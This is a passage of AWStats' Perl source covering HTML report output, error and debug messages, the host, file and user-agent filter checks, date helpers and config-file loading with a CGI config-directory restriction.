"<meta http-equiv=\"content-type\" content=\"text/html; charset="
. ( $PageCode ? $PageCode : "iso-8859-1" )
. "\"$endtag\n";
}
if ($Expires) {
print "<meta http-equiv=\"expires\" content=\""
. ( gmtime( $starttime + $Expires ) )
. "\"$endtag\n";
}
my @k = keys
%HTMLOutput; # This is to have a unique title and description page
print "<meta http-equiv=\"description\" content=\""
. ucfirst($PROG)
. " - Advanced Web Statistics for $SiteDomain$periodtitle"
. ( $k[0] ? " - " . $k[0] : "" )
. "\"$endtag\n";
if ( $MetaRobot && $FrameName ne 'mainleft' ) {
print
"<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n";
}
print "<title>$Message[7] $SiteDomain$periodtitle"
. ( $k[0] ? " - " . $k[0] : "" )
. "</title>\n";
if ( $FrameName ne 'index' ) {
if ($StyleSheet) {
print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n";
}
# A STYLE section must be in head section. Do not use " for number in a style section
print "<style type=\"text/css\">\n";
if ( !$StyleSheet ) {
print
"body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n";
print ".aws_bodyl { }\n";
print
".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px "
. ( $BuildReportFormat eq 'xhtml'
|| $BuildReportFormat eq 'xml' ? "2px" : "1px" )
. " 1px; margin-top: 0px; margin-bottom: 0px; }\n";
print
".aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n";
print
".aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n";
print <<EOF;
.aws_data {
background-color: #$color_Background;
border-top-width: 1px;
border-left-width: 0px;
border-right-width: 0px;
border-bottom-width: 0px;
}
.aws_formfield { font: 13px verdana, arial, helvetica; }
.aws_button {
font-family: arial,verdana,helvetica, sans-serif;
font-size: 12px;
border: 1px solid #ccd7e0;
background-image : url($DirIcons/other/button.gif);
}
th { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; }
th.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; }
td { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; }
td.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;}
td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; }
b { font-weight: bold; }
a { font: 11px verdana, arial, helvetica, sans-serif; }
a:link { color: #$color_link; text-decoration: none; }
a:visited { color: #$color_link; text-decoration: none; }
a:hover { color: #$color_hover; text-decoration: underline; }
.currentday { font-weight: bold; }
EOF
}
# Call to plugins' function AddHTMLStyles
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } )
{
my $function = "AddHTMLStyles_$pluginname";
&$function();
}
print "</style>\n";
}
# les scripts necessaires pour trier avec Tablekit
# print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>";
# print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>";
# print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>";
# Call to plugins' function AddHTMLHeader
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLHeader'} } )
{
my $function = "AddHTMLHeader_$pluginname";
&$function();
}
print "</head>\n\n";
if ( $FrameName ne 'index' ) {
print "<body style=\"margin-top: 0px\"";
if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; }
print ">\n";
}
}
$HeaderHTMLSent++;
}
#------------------------------------------------------------------------------
# Function: Write on output end of HTML page
# Parameters: 0|1 (0=no list plugins,1=list plugins)
# Input: %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub html_end {
my $listplugins = shift || 0;
if ( scalar keys %HTMLOutput ) {
# Call to plugins' function AddHTMLBodyFooter
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } )
{
# my $function="AddHTMLBodyFooter_$pluginname()";
# eval("$function");
my $function = "AddHTMLBodyFooter_$pluginname";
&$function();
}
if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
print "$Center<br /><br />\n";
print
"<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">";
print
"<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://www.awstats.org\" target=\"awstatshome\">";
print $Message[169] . " $PROG";
if ($listplugins) {
my $atleastoneplugin = 0;
foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) {
if ( !$atleastoneplugin ) {
$atleastoneplugin = 1;
print " ($Message[170]: ";
}
else { print ", "; }
print "$pluginname";
}
if ($atleastoneplugin) { print ")"; }
}
print "</a></span><br />\n";
if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; }
}
print "\n";
if ( $FrameName ne 'index' ) {
if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) {
print "<br />\n";
}
print "</body>\n";
}
print "</html>\n";
# print "<!-- NEW PAGE --><!-- NEW SHEET -->\n";
}
}
#------------------------------------------------------------------------------
# Function: Print on stdout tab header of a chart
# Parameters: $title $tooltipnb [$width percentage of chart title]
# Input: None
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub tab_head {
my $title = shift;
my $tooltipnb = shift;
my $width = shift || 70;
my $class = shift;
# Call to plugins' function TabHeadHTML
my $extra_head_html = '';
foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) {
my $function = "TabHeadHTML_$pluginname";
$extra_head_html .= &$function($title);
}
if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
print
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n";
}
else {
print
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
}
if ($tooltipnb) {
print "<tr><td class=\"aws_title\" width=\"$width%\""
. Tooltip( $tooltipnb, $tooltipnb )
. ">$title "
. $extra_head_html . "</td>";
}
else {
print "<tr><td class=\"aws_title\" width=\"$width%\">$title "
. $extra_head_html . "</td>";
}
print "<td class=\"aws_blank\"> </td></tr>\n";
print "<tr><td colspan=\"2\">\n";
if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
print
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n";
}
else {
print
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
}
}
#------------------------------------------------------------------------------
# Function: Print on stdout tab ender of a chart
# Parameters: None
# Input: None
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub tab_end {
my $string = shift;
print "</table></td></tr></table>";
if ($string) {
print
"<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n";
}
print "<br />\n\n";
}
#------------------------------------------------------------------------------
# Function: Write error message and exit
# Parameters: $message $secondmessage $thirdmessage $donotshowsetupinfo
# Input: $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub error {
my $message = shift || '';
if ( scalar keys %HTMLOutput ) {
$message =~ s/\</</g;
$message =~ s/\>/>/g;
}
my $secondmessage = shift || '';
my $thirdmessage = shift || '';
my $donotshowsetupinfo = shift || 0;
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
if ( !$HeaderHTMLSent && scalar keys %HTMLOutput ) {
print "<html><body>\n";
$HeaderHTMLSent = 1;
}
if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); }
my $tagbold = '';
my $tagunbold = '';
my $tagbr = '';
my $tagfontred = '';
my $tagfontgrey = '';
my $tagunfont = '';
if ( scalar keys %HTMLOutput ) {
$tagbold = '<b>';
$tagunbold = '</b>';
$tagbr = '<br />';
$tagfontred = '<span style="color: #880000">';
$tagfontgrey = '<span style="color: #888888">';
$tagunfont = '</span>';
}
if ( !$ErrorMessages && $message =~ /^Format error$/i ) {
# Files seems to have bad format
if ( scalar keys %HTMLOutput ) { print "<br /><br />\n"; }
if ( $message !~ $LogSeparator ) {
# Bad LogSeparator parameter
print
"${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n";
}
else {
# Bad LogFormat parameter
print
"AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n";
print
"${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n";
print
"Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n";
print "${tagbold}$LogFormat${tagunbold}${tagbr}\n";
print
"This means each line in your web server log file need to have ";
if ( $LogFormat == 1 ) {
print
"${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n";
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
print
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
print(
scalar keys %HTMLOutput
? "</i>$tagunfont${tagbr}${tagbr}\n"
: ""
);
}
if ( $LogFormat == 2 ) {
print
"${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n";
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
print
"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n";
print(
scalar keys %HTMLOutput
? "</i>$tagunfont${tagbr}${tagbr}\n"
: ""
);
}
if ( $LogFormat == 3 ) {
print
"${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n";
}
if ( $LogFormat == 4 ) {
print
"${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n";
print( scalar keys %HTMLOutput ? "$tagfontgrey<i><pre>" : "" );
print
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n";
print(
scalar keys %HTMLOutput
? "</pre></i>$tagunfont${tagbr}${tagbr}\n"
: ""
);
}
if ( $LogFormat == 6 ) {
print
"${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n";
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
print
"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
print(
scalar keys %HTMLOutput
? "</i></span>${tagbr}${tagbr}\n"
: ""
);
}
if ( $LogFormat !~ /^[1-6]$/ ) {
print "the following personalized log format:${tagbr}\n";
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
print "$LogFormat\n";
print(
scalar keys %HTMLOutput
? "</i>$tagunfont${tagbr}${tagbr}\n"
: ""
);
}
print
"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n";
print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" );
print "$secondmessage";
print(
scalar keys %HTMLOutput
? "</i>$tagunfont${tagbr}${tagbr}"
: ""
);
print "\n";
}
#print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of ";
#print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n";
#print "\n";
}
else {
print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" );
print( $ErrorMessages? "$ErrorMessages" : "Error: $message" );
print( scalar keys %HTMLOutput ? "\n</span><br />" : "" );
print "\n";
}
if ( !$ErrorMessages && !$donotshowsetupinfo ) {
if ( $message =~ /Couldn.t open config file/i ) {
my $dir = $DIR;
if ( $dir =~ /^\./ ) { $dir .= '/../..'; }
else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; }
print "${tagbr}\n";
if ( $ENV{'GATEWAY_INTERFACE'} ) {
print
"- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n";
print
"Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n";
print
"Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n";
}
else {
print
"- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n";
print
"Example: If your config file is awstats.mysite.conf, use -config=mysite\n";
}
print
"- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n";
print
"If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n";
print "${tagbr}\n";
}
else {
print "${tagbr}${tagbold}Setup ("
. ( $FileConfig ? "'" . $FileConfig . "'" : "Config" )
. " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n";
}
print
"Check config file, permissions and AWStats documentation (in 'docs' directory).\n";
}
# Remove lock if not a lock message
if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); }
if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; }
exit 1;
}
#------------------------------------------------------------------------------
# Function: Write a warning message
# Parameters: $message
# Input: $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub warning {
my $messagestring = shift;
if ($Debug) { debug( "$messagestring", 1 ); }
if ($WarningMessages) {
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
if ( !$HeaderHTMLSent ) { html_head(); }
if ( scalar keys %HTMLOutput ) {
$messagestring =~ s,\n,<br />,g;
print "$messagestring<br />\n";
}
else {
print "$messagestring\n";
}
}
}
#------------------------------------------------------------------------------
# Function: Write debug message and exit
# Parameters: $string $level
# Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub debug {
my $level = $_[1] || 1;
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
http_head();
} # To send the HTTP header and see debug
if ( $level <= $DEBUGFORCED ) {
my $debugstring = $_[0];
if ( !$DebugResetDone ) {
open( DEBUGFORCEDFILE, "<debug.log" );
close DEBUGFORCEDFILE;
chmod 0666, "debug.log";
$DebugResetDone = 1;
}
open( DEBUGFORCEDFILE, ">>debug.log" );
print DEBUGFORCEDFILE localtime(time)
. " - $$ - DEBUG $level - $debugstring\n";
close DEBUGFORCEDFILE;
}
if ( $DebugMessages && $level <= $Debug ) {
my $debugstring = $_[0];
if ( scalar keys %HTMLOutput ) {
$debugstring =~ s/^ / /;
$debugstring .= "<br />";
}
print localtime(time) . " - DEBUG $level - $debugstring\n";
}
}
#------------------------------------------------------------------------------
# Function: Optimize an array of precompiled regex by removing duplicate entries
# Parameters: @Array notcasesensitive=0|1
# Input: None
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub OptimizeArray {
my ( $array, $notcasesensitive ) = @_;
my %seen;
if ($notcasesensitive) {
# Case insensitive
my $uncompiled_regex;
return map {
$uncompiled_regex = UnCompileRegex($_);
!$seen{ lc $uncompiled_regex }++ ? qr/$uncompiled_regex/i : ()
} @$array;
}
# Case sensitive
return map { !$seen{$_}++ ? $_ : () } @$array;
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in SkipDNSLookupFor array
# Parameters: ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub SkipDNSLookup {
foreach (@SkipDNSLookupFor) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @SkipDNSLookupFor
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in SkipHosts array
# Parameters: host @SkipHosts (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub SkipHost {
foreach (@SkipHosts) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @SkipHosts
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in SkipReferrers array
# Parameters: host @SkipReferrers (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub SkipReferrer {
foreach (@SkipReferrers) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @SkipReferrers
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in SkipUserAgents array
# Parameters: useragent @SkipUserAgents (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub SkipUserAgent {
foreach (@SkipUserAgents) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @SkipUserAgent
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in SkipFiles array
# Parameters: url @SkipFiles (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub SkipFile {
foreach (@SkipFiles) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @SkipFiles
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in OnlyHosts array
# Parameters: host @OnlyHosts (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub OnlyHost {
foreach (@OnlyHosts) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @OnlyHosts
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in OnlyUsers array
# Parameters: host @OnlyUsers (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub OnlyUser {
foreach (@OnlyUsers) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @OnlyUsers
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in OnlyUserAgents array
# Parameters: useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub OnlyUserAgent {
foreach (@OnlyUserAgents) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @OnlyUserAgents
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in NotPageFiles array
# Parameters: url @NotPageFiles (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub NotPageFile {
foreach (@NotPageFiles) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @NotPageFiles
}
#------------------------------------------------------------------------------
# Function: Check if parameter is in OnlyFiles array
# Parameters: url @OnlyFiles (a NOT case sensitive precompiled regex array)
# Return: 0 Not found, 1 Found
#------------------------------------------------------------------------------
sub OnlyFile {
foreach (@OnlyFiles) {
if ( $_[0] =~ /$_/ ) { return 1; }
}
0; # Not in @OnlyFiles
}
#------------------------------------------------------------------------------
# Function: Return day of week of a day
# Parameters: $day $month $year
# Return: 0-6
#------------------------------------------------------------------------------
sub DayOfWeek {
my ( $day, $month, $year ) = @_;
if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); }
if ( $month < 3 ) { $month += 10; $year--; }
else { $month -= 2; }
my $cent = sprintf( "%1i", ( $year / 100 ) );
my $y = ( $year % 100 );
my $dw = (
sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y +
sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) -
( 2 * $cent ) ) % 7;
$dw += 7 if ( $dw < 0 );
if ($Debug) { debug( " is $dw", 4 ); }
return $dw;
}
#------------------------------------------------------------------------------
# Function: Return 1 if a date exists
# Parameters: $day $month $year
# Return: 1 if date exists else 0
#------------------------------------------------------------------------------
sub DateIsValid {
my ( $day, $month, $year ) = @_;
if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); }
if ( $day < 1 ) { return 0; }
if ( $day > 31 ) { return 0; }
if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) {
if ( $day > 30 ) { return 0; }
}
elsif ( $month == 2 ) {
my $leapyear = ( $year % 4 == 0 ? 1 : 0 ); # A leap year every 4 years
if ( $year % 100 == 0 && $year % 400 != 0 ) {
$leapyear = 0;
} # Except if year is 100x and not 400x
if ( $day > ( 28 + $leapyear ) ) { return 0; }
}
return 1;
}
#------------------------------------------------------------------------------
# Function: Return string of visit duration
# Parameters: $starttime $endtime
# Input: None
# Output: None
# Return: A string from $SessionsRange[0..6] that identify the visit duration range
#------------------------------------------------------------------------------
sub GetSessionRange {
my $param1=shift;
my $param2=shift;
# skip unneeded calculations if its the same
if ($param1 == $param2) { return $SessionsRange[0]; }
my $starttime;
my $endtime;
eval {
#safety to prevent Time::Local causing termination on invalid data
#Ex: Second '84' out of range 0..59 at /xxx/awstats.pl
if ($param1 =~ /$regdate/o) { $starttime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); }
if ($param2 =~ /$regdate/o) { $endtime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); }
};
my $delay = $endtime - $starttime;
if ($Debug) {
debug( "GetSessionRange $endtime - $starttime = $delay", 4 );
}
if ( $delay <= 30 ) { return $SessionsRange[0]; }
if ( $delay <= 120 ) { return $SessionsRange[1]; }
if ( $delay <= 300 ) { return $SessionsRange[2]; }
if ( $delay <= 900 ) { return $SessionsRange[3]; }
if ( $delay <= 1800 ) { return $SessionsRange[4]; }
if ( $delay <= 3600 ) { return $SessionsRange[5]; }
return $SessionsRange[6];
}
#------------------------------------------------------------------------------
# Function: Return string with just the extension of a file in the URL
# Parameters: $regext, $url without query string
# Input: None
# Output: None
# Return: A lowercase string with the name of the extension, e.g. "html"
#------------------------------------------------------------------------------
sub Get_Extension{
my $extension;
my $regext = shift;
my $urlwithnoquery = shift;
if ( $urlwithnoquery =~ /$regext/o
|| ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o )
)
{
$extension =
( $LevelForFileTypesDetection >= 2 || $MimeHashLib{$1} )
? lc($1)
: 'Unknown';
}
else {
$extension = 'Unknown';
}
return $extension;
}
#------------------------------------------------------------------------------
# Function: Returns just the file of the url
# Parameters: -
# Input: $url
# Output: String with the file name
# Return: -
#------------------------------------------------------------------------------
sub Get_Filename{
my $temp = shift;
my $idx = -1;
# check for slash
$idx = rindex($temp, "/");
if ($idx > -1){ $temp = substr($temp, $idx+1);}
else{
$idx = rindex($temp, "\\");
if ($idx > -1){ $temp = substr($temp, $idx+1);}
}
return $temp;
}
#------------------------------------------------------------------------------
# Function: Return string of Bandwidth Range
# Parameters: $starttime $endtime
# Input: None
# Output: None
# Return: A string that identify the bandwidth range
#------------------------------------------------------------------------------
sub GetBandwidthRange {
my $payload = shift;
if ($Debug) { debug("GetPayloadRange $payload",4); }
if ($payload <= 44) { return $PayloadRange[0]; }
if ($payload <= 100) { return $PayloadRange[1]; }
if ($payload <= 500) { return $PayloadRange[2]; }
if ($payload <= 1024) { return $PayloadRange[3]; }
if ($payload <= 2048) { return $PayloadRange[4]; }
if ($payload <= 5120) { return $PayloadRange[5]; }
return $PayloadRange[6];
}
#------------------------------------------------------------------------------
# Function: Compare two browsers version
# Parameters: $a
# Input: None
# Output: None
# Return: -1, 0, 1
#------------------------------------------------------------------------------
sub SortBrowsers {
my $a_family = $a;
my @a_ver = ();
foreach my $family ( keys %BrowsersFamily ) {
if ( $a =~ /^$family/i ) {
$a =~ m/^(\D+)([\d\.]+)?$/;
$a_family = $1;
@a_ver = split( /\./, $2 );
}
}
my $b_family = $b;
my @b_ver = ();
foreach my $family ( keys %BrowsersFamily ) {
if ( $b =~ /^$family/i ) {
$b =~ m/^(\D+)([\d\.]+)?$/;
$b_family = $1;
@b_ver = split( /\./, $2 );
}
}
my $compare = 0;
my $done = 0;
$compare = $a_family cmp $b_family;
if ( $compare != 0 ) {
return $compare;
}
while ( !$done ) {
my $a_num = shift @a_ver || 0;
my $b_num = shift @b_ver || 0;
$compare = $a_num <=> $b_num;
if ( $compare != 0
|| ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) )
{
$done = 1;
}
}
return $compare;
}
#------------------------------------------------------------------------------
# Function: Read config file
# Parameters: None or configdir to scan
# Input: $DIR $PROG $SiteConfig
# Output: Global variables
# Return: -
#------------------------------------------------------------------------------
sub Read_Config {
# Check config file in common possible directories :
# Windows : "$DIR" (same dir than awstats.pl)
# Standard, Mandrake and Debian package : "/home/sicomercio/domains/sicomerciomppa.com.br/awstats/.data"
# Other possible directories : "/usr/local/etc/awstats",
# FHS standard, Suse package : "/etc/opt/awstats"
my $configdir = shift;
my @PossibleConfigDir = (
"$DIR",
"/home/sicomercio/domains/sicomerciomppa.com.br/awstats/.data",
"/usr/local/etc/awstats",
"/etc/opt/awstats"
);
if ($configdir) {
# Check if configdir is outside default values.
my $outsidedefaultvalue=1;
foreach (@PossibleConfigDir) {
if ($_ eq $configdir) { $outsidedefaultvalue=0; last; }
}
# If from CGI, overwriting of configdir with a value that differs from a default value
# is only possible if AWSTATS_ENABLE_CONFIG_DIR defined.
# AWSTATS_ENABLE_CONFIG_DIR must contains dir allowed
if ($ENV{'GATEWAY_INTERFACE'} && $outsidedefaultvalue)
{
if (! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"})
{
error("Sorry, to allow overwriting of configdir parameter, from an AWStats CGI page, with a non default value, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to full path of allowed directory. For example, by adding the line 'SetEnv AWSTATS_ENABLE_CONFIG_DIR /mydirofconf' in your Apache config file or into a .htaccess file.");
}
else
{
if ($configdir !~ $ENV{"AWSTATS_ENABLE_CONFIG_DIR"})
{
error("Sorry, using configdir parameter from an AWStats CGI page is possible only if parameter configdir is a directory defined into environment variable AWSTATS_ENABLE_CONFIG_DIR");
}
}
}
@PossibleConfigDir = ("$configdir");
}
# Open config file
$FileConfig = $FileSuffix = '';
foreach (@PossibleConfigDir) {
my $searchdir = $_;
if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; }
if ( -f $searchdir.$PROG.".".$SiteConfig.".conf" && open( CONFIG, "<$searchdir$PROG.$SiteConfig.conf" ) ) {
$FileConfig = "$searchdir$PROG.$SiteConfig.conf";
$FileSuffix = ".$SiteConfig";
if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);}
last;
}else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.$SiteConfig.conf", 2);}}
if ( -f $searchdir.$PROG.".conf" && open( CONFIG, "$searchdir$PROG.conf" ) ) {
$FileConfig = "$searchdir$PROG.conf";
$FileSuffix = '';
if ($Debug){debug("Opened config: $searchdir$PROG.conf", 2);}
last;
}else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.conf", 2);}}
# Added to open config if file name is passed to awstats
if ( -f $searchdir.$SiteConfig && open( CONFIG, "$searchdir$SiteConfig" ) ) {
$FileConfig = "$searchdir$SiteConfig";
$FileSuffix = '';
if ($Debug){debug("Opened config: $searchdir$SiteConfig", 2);}
last;
}else{if ($Debug){debug("Unable to open config file: $searchdir$SiteConfig", 2);}}
}
#CL - Added to open config if full path is passed to awstats
# Disabled by LDR for security reason.
# If we need to execute config into other dir
#if ( !$FileConfig ) {
#
# my $SiteConfigBis = File::Spec->rel2abs($SiteConfig);
# debug("Finally, try to open an absolute path : $SiteConfigBis", 2);
#
# if ( -f $SiteConfigBis && open(CONFIG, "$SiteConfigBis")) {
# $FileConfig = "$SiteConfigBis";
# $FileSuffix = '';
# if ($Debug){debug("Opened config: $SiteConfigBis", 2);}
# $SiteConfig=$SiteConfigBis;
# }
# else {
# if ($Debug){debug("Unable to open config file: $SiteConfigBis", 2);}
# }
#}
if ( !$FileConfig ) {
if ($DEBUGFORCED || !$ENV{'GATEWAY_INTERFACE'}){
error(
"Couldn't open config file \"$PROG.$SiteConfig.conf\", nor \"$PROG.conf\", nor \"$SiteConfig\" after searching in path \""
. join( ', ', @PossibleConfigDir )
. ", $SiteConfig\": $!" );
}else{error("Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\".
Please read the documentation for directories where the configuration file should be located."); }
}
# Analyze config file content and close it
&Parse_Config( *CONFIG, 1, $FileConfig );
close CONFIG;
# If parameter NotPageList not found, init for backward compatibility
if ( !$FoundNotPageList ) {
%NotPageList = (
'css' => 1,
'js' => 1,
'class' => 1,
'gif' => 1,
'jpg' => 1,
'jpeg' => 1,
'png' => 1,
'bmp' => 1,
'ico' => 1,
'swf' => 1,
'webp' => 1
);
}
# If parameter ValidHTTPCodes empty, init for backward compatibility
if ( !scalar keys %ValidHTTPCodes ) {
$ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1;
}
# If parameter ValidSMTPCodes empty, init for backward compatibility
